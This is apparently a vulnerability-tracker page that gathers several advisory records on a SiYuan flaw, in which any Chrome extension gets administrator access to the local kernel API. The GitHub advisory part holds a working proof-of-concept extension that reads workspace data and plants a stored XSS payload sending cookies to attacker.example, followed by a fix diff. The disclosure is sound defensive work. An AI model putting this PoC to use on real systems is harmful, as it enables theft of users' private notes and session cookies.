SiYuan: Unauthenticated Admin API Access via Blanket chrome-extension:// Origin Allowlist

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

SiYuan is an open-source personal knowledge management system. Prior to 3.7.0, SiYuan Note's kernel HTTP server unconditionally trusts all chrome-extension:// origins, granting RoleAdministrator access to every installed browser extension without any authentication. Combined with the default empty AccessAuthCode on desktop installs, any Chrome/Chromium extension -- including a compromised legitimate extension via supply chain attack -- can make fully authenticated admin API calls to the SiYuan kernel at 127.0.0.1:6806, enabling data exfiltration, stored XSS injection, and configuration tampering. This vulnerability is fixed in 3.7.0.

Source published

24 Jun 2026 21:17:02 UTC

Source modified

25 Jun 2026 13:55:20 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 9.2 CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

SiYuan is an open-source personal knowledge management system. Prior to 3.7.0, SiYuan Note's kernel HTTP server unconditionally trusts all chrome-extension:// origins, granting RoleAdministrator access to every installed browser extension without any authentication. Combined with the default empty AccessAuthCode on desktop installs, any Chrome/Chromium extension -- including a compromised legitimate extension via supply chain attack -- can make fully authenticated admin API calls to the SiYuan kernel at 127.0.0.1:6806, enabling data exfiltration, stored XSS injection, and configuration tampering. This vulnerability is fixed in 3.7.0.

Source published

Jun 24, 2026, 9:17:02 PM (timezone not stated)

Source modified

Jun 25, 2026, 1:55:20 PM (timezone not stated)

Observed here

7 Nov 2026 12:28:19 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 9.2 CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

SiYuan is an open-source personal knowledge management system. Prior to 3.7.0, SiYuan Note's kernel HTTP server unconditionally trusts all chrome-extension:// origins, granting RoleAdministrator access to every installed browser extension without any authentication. Combined with the default empty AccessAuthCode on desktop installs, any Chrome/Chromium extension -- including a compromised legitimate extension via supply chain attack -- can make fully authenticated admin API calls to the SiYuan kernel at 127.0.0.1:6806, enabling data exfiltration, stored XSS injection, and configuration tampering. This vulnerability is fixed in 3.7.0.

Source published

24 Jun 2026 22:16:48 UTC

Source modified

25 Oct 2026 23:10:00 UTC

Observed here

27 Oct 2026 14:13:29 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 9.2 CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

## Summary SiYuan Note's kernel HTTP server unconditionally trusts all `chrome-extension://` origins, granting `RoleAdministrator` access to every installed browser extension without any authentication. Combined with the default empty `AccessAuthCode` on desktop installs, any Chrome/Chromium extension -- including a compromised legitimate extension via supply chain attack -- can make fully authenticated admin API calls to the SiYuan kernel at `127.0.0.1:6806`, enabling data exfiltration, stored XSS injection, and configuration tampering. ## Affected Versions SiYuan <= v3.6.5 (commit `96dfe0bea474`). The chrome-extension allowlist remains unfixed as of the latest commit on the fix branch (`d7b77d945e0d`). ## Vulnerability Details ### Blanket chrome-extension:// Origin Trust (CWE-346) In `kernel/model/session.go:277`, the `CheckAuth` middleware exempts all `chrome-extension://` origins from authentication: ```go if strings.HasPrefix(origin, "chrome-extension://") { // skip auth } ``` At `session.go:284`, the request is assigned `RoleAdministrator`: ```go c.Set("role", model.RoleAdministrator) ``` The `AccessAuthCode` field defaults to an empty string for desktop installs (`ContainerStd`). When empty, no token validation occurs. This means **any** Chrome/Chromium extension can make fully authenticated admin API calls to the SiYuan kernel. The origin check trusts the entire `chrome-extension://` scheme rather than validating a specific extension ID, so every installed extension (including those with no explicit `host_permissions`) can access all admin endpoints. ## Proof of Concept **Unauthenticated admin API access via browser extension:** A minimal Chrome extension with only default permissions: ```json { "manifest_version": 3, "name": "SiYuan PoC", "version": "1.0", "background": { "service_worker": "bg.js" } } ``` ```javascript // bg.js -- runs as chrome-extension://<id> // No special host_permissions needed; localhost is accessible by default // 1. Verify admin access fetch('http://127.0.0.1:6806/api/system/getConf', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: '{}' }).then(r => r.json()).then(data => { console.log('[PoC] Admin API access confirmed:', data.code === 0); }); // 2. Exfiltrate workspace data fetch('http://127.0.0.1:6806/api/query/sql', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ stmt: 'SELECT * FROM blocks LIMIT 100' }) }).then(r => r.json()).then(data => { console.log('[PoC] Exfiltrated blocks:', data.data?.length); }); // 3. Inject stored XSS payload into a note fetch('http://127.0.0.1:6806/api/filetree/listDocsByPath', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ notebook: '', path: '/' }) }).then(r => r.json()).then(tree => { const firstDoc = tree.data?.files?.[0]; if (!firstDoc) return; fetch('http://127.0.0.1:6806/api/block/insertBlock', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ dataType: 'markdown', data: '<img src=x onerror="fetch(\'https://attacker.example/steal?data=\'+document.cookie)">', parentID: firstDoc.id }) }); }); ``` The extension requires zero special permissions. The `chrome-extension://` origin header is automatically sent by the browser, and `session.go:277` grants it `RoleAdministrator` without any token check. ## Impact - **Unauthenticated admin API access** for any installed browser extension, enabling full control of the SiYuan kernel - **Data exfiltration** of the entire workspace via `/api/query/sql`, `/api/filetree/`, `/api/export/` - **Stored XSS injection** via admin API endpoints (`/api/block/insertBlock`, `/api/attr/setBlockAttrs`), persisted in the user's notes - **Configuration tampering** via `/api/system/setConf`, enabling persistence and further attack surface expansion - **Supply chain amplification**: a single compromised popular Chrome extension update can silently exploit every SiYuan desktop user ## Suggested Remediation **Remove blanket chrome-extension:// allowlist:** ```diff --- a/kernel/model/session.go +++ b/kernel/model/session.go @@ -274,9 +274,6 @@ func CheckAuth(c *gin.Context) { origin := c.GetHeader("Origin") - if strings.HasPrefix(origin, "chrome-extension://") { - // Allow chrome extension requests - } else if !isValidOrigin(origin) { c.AbortWithStatusJSON(401, gin.H{"code": -1, "msg": "invalid origin"}) return ``` If extension access is required, implement a per-session token exchange: the SiYuan UI generates a random token on startup, and the extension must present it via a dedicated pairing endpoint. This ensures only explicitly authorized extensions can access the API.

Source published

10 Jul 2026 19:26:06 UTC

Source modified

21 Jul 2026 19:18:53 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Publisher rating · CRITICAL

SiYuan: Unauthenticated Admin API Access via Blanket chrome-extension:// Origin Allowlist in github.com/siyuan-note/siyuan/kernel

Source published

17 Jul 2026 19:42:05 UTC

Source modified

21 Jul 2026 19:15:34 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.